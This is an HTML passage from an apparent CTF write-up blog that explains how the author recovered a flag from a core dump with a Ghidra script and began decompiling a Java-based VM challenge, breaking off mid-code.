9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>CSCE221-Data Structures and Algorithms(Rev)</h2>\n<blockquote>\n<p>I was doing some homework for my Data Structures and Algorithms class, but my program unexpectedly crashed when I entered in my flag. Could you help me get it back?</p>\n<p>Here’s the coredump and the binary, I’ll even toss in the header file. Can’t give out the source code though, how do I know you won’t cheat off me?</p>\n</blockquote>\n<p>This challenge gives you an ELF binary and a core dump of that binary.</p>\n<p>I was briefly stuck because the core dump could not be loaded into gdb due to a format mismatch error, but I found that Ghidra could analyze it, so I continued from there.</p>\n<p>First, I analyzed the normal ELF file itself.</p>\n<p>It turned out that this binary uses custom structures called <code class=\"language-text\">list</code> and <code class=\"language-text\">listnode</code> to split the input string and store it in memory.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token keyword\">typedef</span> <span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">char</span> byte<span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">listnode</span> <span class=\"token punctuation\">{</span>\n    byte data<span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">struct</span> <span class=\"token class-name\">listnode</span> <span class=\"token operator\">*</span>ptr<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">list</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">int</span> len<span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">struct</span> <span class=\"token class-name\">listnode</span> <span class=\"token operator\">*</span>head<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">(</span>list<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">void</span> <span class=\"token function\">list_init</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">struct</span> <span class=\"token class-name\">list</span> <span class=\"token operator\">*</span>list<span class=\"token punctuation\">,</span> byte <span class=\"token operator\">*</span>data<span class=\"token punctuation\">,</span> <span class=\"token keyword\">int</span> len<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">void</span> <span class=\"token function\">list_mix</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">struct</span> <span class=\"token class-name\">list</span> <span class=\"token operator\">*</span>list<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span></code></pre></div>\n<p>So first, I identified the address of the <code class=\"language-text\">main</code> function from the core dump.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 933px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/938efbe01097813ebdd38cf30890a8f4/dc616/image-20230717063914292.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 55.00000000000001%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABwElEQVQoz32RzW/TMBjG+8/DZVxAmjSOdDc47caFbYKMtWmXNI7TxLGTNRTyUdiI7XzY+VBwOoG6Hnjkgy35p/d53mdydX2taZphmPf3m29RHIbRJooQCbeRq2mrFy8/nby6fPP68+mpdvZWm05n03ez8/P5h/eLiwtjwjnv+77r+vhHHMdlng+MCSE6Sh+x77kesWEAIVk7geMQ5Hje2ndcrC4YoQljrBvVp0maphVjA+dCyK4q8zAMgY3vLOT7VhCQ/XkSGR+E/IO7NEme4IKLum4Zq3TtCgBsLvDK8AD0HYwgwh5C5K9GuG1bBWdZttvVnA1lKWXTMVrMZzMIoalb8xukL5FpEegAhDw19xhOlOJKZVa2q7pt5O/b268AoOUiXJpIdzwDrpGrYPcZ3Ci47bJUzR4nF8Vou+CVdvkRWL61CqHrQWXZRtgn+8QHtqWUXd9zxvloYqiqRohW1A20AbC9tUVctWSkVoyVyIEmlFIhZdv2OWWUNpQOP39VjEshSmCZh19JQI40yfNcNm0h+s02ibbl92TYPdS06h7zh7vFXLV1NO0ZPGZuGtXzLstUVXzfs8rMea3ffPk//Ack20Txl1mYfQAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/938efbe01097813ebdd38cf30890a8f4/8ac56/image-20230717063914292.webp 240w,\n/static/938efbe01097813ebdd38cf30890a8f4/d3be9/image-20230717063914292.webp 480w,\n/static/938efbe01097813ebdd38cf30890a8f4/5431c/image-20230717063914292.webp 933w\"\n              sizes=\"(max-width: 933px) 100vw, 933px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/938efbe01097813ebdd38cf30890a8f4/8ff5a/image-20230717063914292.png 240w,\n/static/938efbe01097813ebdd38cf30890a8f4/e85cb/image-20230717063914292.png 480w,\n/static/938efbe01097813ebdd38cf30890a8f4/dc616/image-20230717063914292.png 933w\"\n            sizes=\"(max-width: 933px) 100vw, 933px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/938efbe01097813ebdd38cf30890a8f4/dc616/image-20230717063914292.png\"\n            alt=\"image-20230717063914292\"\n            title=\"image-20230717063914292\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Next, I created structure definitions for <code class=\"language-text\">list</code> and <code class=\"language-text\">listnode</code> in Ghidra.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/7c55bb300bf253c258b24beb1032f74d/25260/image-20230717064205346.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 53.333333333333336%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABr0lEQVQoz22NbW/TMBSF/f9/BOIbCMQEavdhqIAYiE2MduvSxm1Wp3mz49htXkizOHGTcBOkUaQdPbo658jXF9k242EchrHvC0p3EY+jKJYyKQpVPlZK1VVVa61LVapKVYOKojjkOaMhevHy6s3b6avX1+/OZh9Gd2fvf36cGN++r75eGlfX5twgxpKYK2JgbFoPd/eLJV6b2Fpbm/ncRF3XtbrRqu6artHHqlTtse3aLtnHkgsoj/URgLLV7bFuGt02uoEHnAk0pfqXr27cxxmtb7zyB/k9Dapbpr+YYmJwMNNAzWgFE/rBDB621gxNsPwEmMPEcmKK3g/xM9499f/M4Cd4d3lvo+qQqvx5yjx5ph/e6yJjvosc1/cD5vn0CdcLTuNpCdP1fDDWhiwWS/RgkYuLzXhsjcfr83Pgr7FO6ONotLIse7u1QYQQx3EwxoixME3yJMmzrBg4AGmap2k/T2KuVJWlmeO4QggpJaUUEWIzxtI0FSKKIr7f74AkiYE43gNJ0gMGxDl3PU/KHSzDcRSGIbQQyMYOfNZ/wCMe9Yj/JQfBCUYDxuh2u/0DkaNLqgxjgD8AAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/7c55bb300bf253c258b24beb1032f74d/8ac56/image-20230717064205346.webp 240w,\n/static/7c55bb300bf253c258b24beb1032f74d/d3be9/image-20230717064205346.webp 480w,\n/static/7c55bb300bf253c258b24beb1032f74d/e46b2/image-20230717064205346.webp 960w,\n/static/7c55bb300bf253c258b24beb1032f74d/9bbd4/image-20230717064205346.webp 1113w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/7c55bb300bf253c258b24beb1032f74d/8ff5a/image-20230717064205346.png 240w,\n/static/7c55bb300bf253c258b24beb1032f74d/e85cb/image-20230717064205346.png 480w,\n/static/7c55bb300bf253c258b24beb1032f74d/d9199/image-20230717064205346.png 960w,\n/static/7c55bb300bf253c258b24beb1032f74d/25260/image-20230717064205346.png 1113w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/7c55bb300bf253c258b24beb1032f74d/d9199/image-20230717064205346.png\"\n            alt=\"image-20230717064205346\"\n            title=\"image-20230717064205346\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>You have to be careful here because alignment requires including padding bytes.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/9c3fc8b537b9ed477ea2b1fef0fd6b25/d7ba6/image-20230717064219114.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 53.333333333333336%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABrUlEQVQoz3WNa2/TMBSG/f9/B3xjSLQdgi9k3Lq1SLCVLvc7cXxL4rRJEydpEtx0A1WCV4+On3OObAPHjmGUQphEURL9YihOMM4wSne7Q1W1dd00Tdu1XVUfhKgbISRlWVRlGYYQvHi5vnr9/dXVer54WFzfz+bfPijb5a3x6fNmtda2j+6j6himqxq6YVmbzVbXTd0wbcv+8aCBqh33VccLUTb97tCku6qoj6UYgoj6kBViyMuOl+2+ktujdFklRTM6NgbjOA790B97KX3fH7tunJKxhGJ62g7DeJnzhGIC7oJm6VVfnPIuEF/dw0cjv/XrVdi8u0fvN1SKbP9B0Kx0CBSNKipRtAmV3JzbMxr561N784yiseVPF2Q05gxnJD5BUTrVP+2TP83jlMAUQ05jHLqWroKtal+/td7MjNn8hJT5wjz7hPlcdd1wHM+zHdeypfiaroMoihnjGd/neZnnBef7/yGE4JwHQUgpZYxBCIHregihPM8pwZSSRCZNOM8uk0pkEMJhELIkldd9PwAYYzmVL9m2B6G8TzEmiGBECL0MmyJPFAUohvLX3xJQTHpLqAngAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/9c3fc8b537b9ed477ea2b1fef0fd6b25/8ac56/image-20230717064219114.webp 240w,\n/static/9c3fc8b537b9ed477ea2b1fef0fd6b25/d3be9/image-20230717064219114.webp 480w,\n/static/9c3fc8b537b9ed477ea2b1fef0fd6b25/e46b2/image-20230717064219114.webp 960w,\n/static/9c3fc8b537b9ed477ea2b1fef0fd6b25/83eb4/image-20230717064219114.webp 1107w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/9c3fc8b537b9ed477ea2b1fef0fd6b25/8ff5a/image-20230717064219114.png 240w,\n/static/9c3fc8b537b9ed477ea2b1fef0fd6b25/e85cb/image-20230717064219114.png 480w,\n/static/9c3fc8b537b9ed477ea2b1fef0fd6b25/d9199/image-20230717064219114.png 960w,\n/static/9c3fc8b537b9ed477ea2b1fef0fd6b25/d7ba6/image-20230717064219114.png 1107w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/9c3fc8b537b9ed477ea2b1fef0fd6b25/d9199/image-20230717064219114.png\"\n            alt=\"image-20230717064219114\"\n            title=\"image-20230717064219114\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Once I registered the structures I defined here in the data section of the core dump, I could see that the pointer addresses to the <code class=\"language-text\">listnode</code> structures held by the <code class=\"language-text\">list</code> structure had been filled in.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 821px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/cc8549783a6bd001729a234c7b240ead/02cd5/image-20230717064149325.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 22.499999999999996%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA0klEQVQY01WM626FIBCEff/na9omrcd6AysoAgLLdQ8ekyadzI9vJzvTMJ2p8EyX3ZZVpYmHmYcKmyl/3i3+aj9Jw89MpCOHW6Sv0IxbfGvXz958z9jS9NGblsJ8pElEKsvtgfsvqlqmL95h2PzPZt8X3oSMw0gf3apOhIDGJQtZAuzWpYw+YcxIFvboJm2gcohXUkkDNIhICZnGNcaKGEJKMbvgT3BYsJRSQ85Y3/UAgP91laWUQmhjsP4rlayNdUIcTil/l5VSjPEQYz3zK7n1BMi2HfwuYqXxAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/cc8549783a6bd001729a234c7b240ead/8ac56/image-20230717064149325.webp 240w,\n/static/cc8549783a6bd001729a234c7b240ead/d3be9/image-20230717064149325.webp 480w,\n/static/cc8549783a6bd001729a234c7b240ead/d77d0/image-20230717064149325.webp 821w\"\n              sizes=\"(max-width: 821px) 100vw, 821px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/cc8549783a6bd001729a234c7b240ead/8ff5a/image-20230717064149325.png 240w,\n/static/cc8549783a6bd001729a234c7b240ead/e85cb/image-20230717064149325.png 480w,\n/static/cc8549783a6bd001729a234c7b240ead/02cd5/image-20230717064149325.png 821w\"\n            sizes=\"(max-width: 821px) 100vw, 821px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/cc8549783a6bd001729a234c7b240ead/02cd5/image-20230717064149325.png\"\n            alt=\"image-20230717064149325\"\n            title=\"image-20230717064149325\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>I thought I could get the flag just by following those pointers, but unfortunately the linked list of <code class=\"language-text\">listnode</code> structures had been corrupted partway through.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 713px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/c5b4fd3cf26c97ad36d1676dffe226f4/01267/image-20230717064319526.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 102.50000000000001%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAVCAIAAADJt1n/AAAACXBIWXMAAAsTAAALEwEAmpwYAAACFElEQVQ4y52UiXLbIBCG9f6P2NqyLh+xxH3DAlnFdio7mTZTBmnQio9lf/GrqbVa64JPMVaAKoR/u+h5NiFAfW4xR2pZLtklx63wITSlFErp0J8ELylVfGTUeg8uhQgJGYzgXSu9zEvwYbtcg5eSuu8GKdIthFAtVXqDu/mEl4Uc2k5r/Rm5w4KL/b5j/A47m0qu4hkmC2nbg1JfYCnkftcyFm8h73H3COstPF/n3e+9UuoVZpQd2oFzMLYaXSnxMWZp7EKMFB4lvM0Zx8la+1QzJOi7bhoJfKiLGOqMKxOrIGdMkh95vrYmQx6H8Tjd4ZRyjOuIWfUX7AHnfDqezif2AnNnfgQfp+l8oq+w1Xge/g1PCJ+3mZEp3P0EhjXz/9YMeej7cVi2aq+nwnwDl1q2gxXGTzV08w0GyJDW3VIrn+DvdrEekhBCSoBvsRsdlQpKogVeXQUFVEAhik9BehVjajA/ntvzmXCGq1Tv0nESlDh0FWwE894LKZRTH95MLroE8GEMJrrDIAQ85kHN+J21ezLGgs6zxt4q3lpSjcMk5R8YUypvt8ZgjKGs2phXYygpcVX1gO9+DjZsfgZojL7rP/1c1opKg9IypvbtsFBwoWIXKvlYBU7UBgsPqaBRLlfya9cxoXG+j9mFjPHGhNIfr7v2jfDCdV14ucxe2EyZMETiz8qG4lIlwlxmLgwKVW2893e+AclaMpsxiQAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/c5b4fd3cf26c97ad36d1676dffe226f4/8ac56/image-20230717064319526.webp 240w,\n/static/c5b4fd3cf26c97ad36d1676dffe226f4/d3be9/image-20230717064319526.webp 480w,\n/static/c5b4fd3cf26c97ad36d1676dffe226f4/69b3e/image-20230717064319526.webp 713w\"\n              sizes=\"(max-width: 713px) 100vw, 713px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/c5b4fd3cf26c97ad36d1676dffe226f4/8ff5a/image-20230717064319526.png 240w,\n/static/c5b4fd3cf26c97ad36d1676dffe226f4/e85cb/image-20230717064319526.png 480w,\n/static/c5b4fd3cf26c97ad36d1676dffe226f4/01267/image-20230717064319526.png 713w\"\n            sizes=\"(max-width: 713px) 100vw, 713px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/c5b4fd3cf26c97ad36d1676dffe226f4/01267/image-20230717064319526.png\"\n            alt=\"image-20230717064319526\"\n            title=\"image-20230717064319526\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>However, even though the list pointers were corrupted, the actual memory data itself seemed to still be intact, so I wrote the following Ghidra script to assign <code class=\"language-text\">listnode</code> structures over the memory region and recover the values.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">from</span> ghidra<span class=\"token punctuation\">.</span>app<span class=\"token punctuation\">.</span>script <span class=\"token keyword\">import</span> GhidraScript\n\n<span class=\"token comment\"># listnode の取得</span>\ndata_type_manager <span class=\"token operator\">=</span> currentProgram<span class=\"token punctuation\">.</span>getDataTypeManager<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\nmy_structure <span class=\"token operator\">=</span> data_type_manager<span class=\"token punctuation\">.</span>getDataType<span class=\"token punctuation\">(</span><span class=\"token string\">\"main.coredump/listnode\"</span><span class=\"token punctuation\">)</span>\nstart_address <span class=\"token operator\">=</span> toAddr<span class=\"token punctuation\">(</span><span class=\"token string\">\"0x405000\"</span><span class=\"token punctuation\">)</span>\ndata_section <span class=\"token operator\">=</span> currentProgram<span class=\"token punctuation\">.</span>getMemory<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>getBlock<span class=\"token punctuation\">(</span>start_address<span class=\"token punctuation\">)</span>\n\nflag <span class=\"token operator\">=</span> <span class=\"token string\">\"\"</span>\nlistnode_addr <span class=\"token operator\">=</span> <span class=\"token number\">0x4052a0</span>\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1d</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>   \n    data_address <span class=\"token operator\">=</span> toAddr<span class=\"token punctuation\">(</span><span class=\"token builtin\">hex</span><span class=\"token punctuation\">(</span>listnode_addr<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    data_object <span class=\"token operator\">=</span> createData<span class=\"token punctuation\">(</span>data_address<span class=\"token punctuation\">,</span> my_structure<span class=\"token punctuation\">)</span>\n    data_structure <span class=\"token operator\">=</span> data_object<span class=\"token punctuation\">.</span>dataType\n    data_component <span class=\"token operator\">=</span> data_structure<span class=\"token punctuation\">.</span>getComponent<span class=\"token punctuation\">(</span><span class=\"token number\">0x0</span><span class=\"token punctuation\">)</span>\n    offset <span class=\"token operator\">=</span> data_component<span class=\"token punctuation\">.</span>offset\n    length <span class=\"token operator\">=</span> data_component<span class=\"token punctuation\">.</span>length\n    data_type <span class=\"token operator\">=</span> data_component<span class=\"token punctuation\">.</span>dataType\n    byte_array <span class=\"token operator\">=</span> getBytes<span class=\"token punctuation\">(</span>data_address<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>offset<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> length<span class=\"token punctuation\">)</span>\n    flag <span class=\"token operator\">+=</span> <span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span>byte_array<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n    listnode_addr <span class=\"token operator\">+=</span> <span class=\"token number\">32</span></code></pre></div>\n<p>Running this script let me recover the flag in Ghidra.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 540px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/81a0d0dbc5102075f7d1bfa83b3d9108/07484/image-20230717072951023.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 77.91666666666667%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAABxklEQVQoz41TiZKiMBT0/39OFLkkRCIEEhKuATkUZBt3ZtZyp2rsUoripV/yujubsqzSJBFChowJkS7LMs/z/QvzE5b/sKGUHszDzjAcxwkCwhjD+35nmObBsqzdbr/dbo21aodhqHVeFIUUYhjHlcxjHoaM+EQCInVd1/d910YjWlVV07R1/QFcLl1d12VR4tk0zTRNKznPcyFElmVN21ZlqZXOMiVlhll4wjGUUirLJBYURalQEnL6GmGjtUZ5GHp8us/3ru9vt9vyHjZxHFMSHD3PNE3HdlzXw27gX8fxOl6B515/VfxHRg3DsjC0LVvIjPOYkCA8naIoZgwOMM75BWgxdfe6MzrFUex5nu95GBKAZi6UJwHU3u9NBRWkxLQfTfMDGQQYBn4QBEmSEEIoqITgPYrOqK6qKPV84E8y/umDgPYnSm3bgu1nxo7esev6XwRDmqIowlIQYA40w1Fty4KExtaIY45UwM6+73Kt2/byujOOR2mAFkgYTn6CWudz13XDMOAJ/6HXOA6ICr68zLzUZSXSFcgCAoS1MPwtn+f31v1MVlojvNjqcXOm7/v0ZsJ4moo8L+AkftAGV2d+5P5X/AG/Kol3jKSg3wAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/81a0d0dbc5102075f7d1bfa83b3d9108/8ac56/image-20230717072951023.webp 240w,\n/static/81a0d0dbc5102075f7d1bfa83b3d9108/d3be9/image-20230717072951023.webp 480w,\n/static/81a0d0dbc5102075f7d1bfa83b3d9108/9e625/image-20230717072951023.webp 540w\"\n              sizes=\"(max-width: 540px) 100vw, 540px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/81a0d0dbc5102075f7d1bfa83b3d9108/8ff5a/image-20230717072951023.png 240w,\n/static/81a0d0dbc5102075f7d1bfa83b3d9108/e85cb/image-20230717072951023.png 480w,\n/static/81a0d0dbc5102075f7d1bfa83b3d9108/07484/image-20230717072951023.png 540w\"\n            sizes=\"(max-width: 540px) 100vw, 540px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/81a0d0dbc5102075f7d1bfa83b3d9108/07484/image-20230717072951023.png\"\n            alt=\"image-20230717072951023\"\n            title=\"image-20230717072951023\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"jvmrev\" style=\"position:relative;\"><a href=\"#jvmrev\" aria-label=\"jvmrev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>jvm(Rev)</h2>\n<blockquote>\n<p>I heard my professor talking about some “Java Virtual Machine” and its weird gimmicks, so I took it upon myself to complete one. It wasn’t even that hard? I don’t know why he was complaining about it so much.</p>\n</blockquote>\n<p>This was a Java-based VM challenge.</p>\n<p>It was my revenge match after the recent UIUCTF VM problem, and this time I somehow managed to solve it.</p>\n<p>I decompiled the provided class file with jadx and added print debugging to several parts of the processing.</p>\n<div class=\"gatsby-highlight\" data-language=\"java\"><pre class=\"language-java\"><code class=\"language-java\"><span class=\"token keyword\">import</span> <span class=\"token namespace\">java<span class=\"token punctuation\">.</span>io<span class=\"token punctuation\">.</span></span><span class=\"token class-name\">BufferedReader</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">import</span> <span class=\"token namespace\">java<span class=\"token punctuation\">.</span>io<span class=\"token punctuation\">.</span></span><span class=\"token class-name\">File</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">import</span> <span class=\"token namespace\">java<span class=\"token punctuation\">.</span>io<span class=\"token punctuation\">.</span></span><span class=\"token class-name\">FileInputStream</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">import</span> <span class=\"token namespace\">java<span class=\"token punctuation\">.</span>io<span class=\"token punctuation\">.</span></span><span class=\"token class-name\">IOException</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">import</span> <span class=\"token namespace\">java<span class=\"token punctuation\">.</span>io<span class=\"token punctuation\">.</span></span><span class=\"token class-name\">InputStreamReader</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">public</span> <span class=\"token keyword\">class</span> <span class=\"token class-name\">Solver</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">static</span> <span class=\"token keyword\">byte</span><span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span> program<span class=\"token punctuation\">;</span>\n\n    <span class=\"token keyword\">public</span> <span class=\"token keyword\">static</span> <span class=\"token keyword\">void</span> <span class=\"token function\">main</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">String</span><span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span> strArr<span class=\"token punctuation\">)</span> <span class=\"token keyword\">throws</span> <span class=\"token class-name\">IOException</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token class-name\">File</span> file <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">File</span><span class=\"token punctuation\">(</span>strArr<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token class-name\">FileInputStream</span> fileInputStream <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">FileInputStream</span><span class=\"token punctuation\">(</span>file<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        program <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token keyword\">byte</span><span class=\"token punctuation\">[</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">int</span><span class=\"token punctuation\">)</span> file<span class=\"token punctuation\">.</span><span class=\"token function\">length</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n        fileInputStream<span class=\"token punctuation\">.</span><span class=\"token function\">read</span><span class=\"token punctuation\">(</span>program<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        fileInputStream<span class=\"token punctuation\">.</span><span class=\"token function\">close</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token function\">vm</span><span class=\"token punctuation\">(</span><span 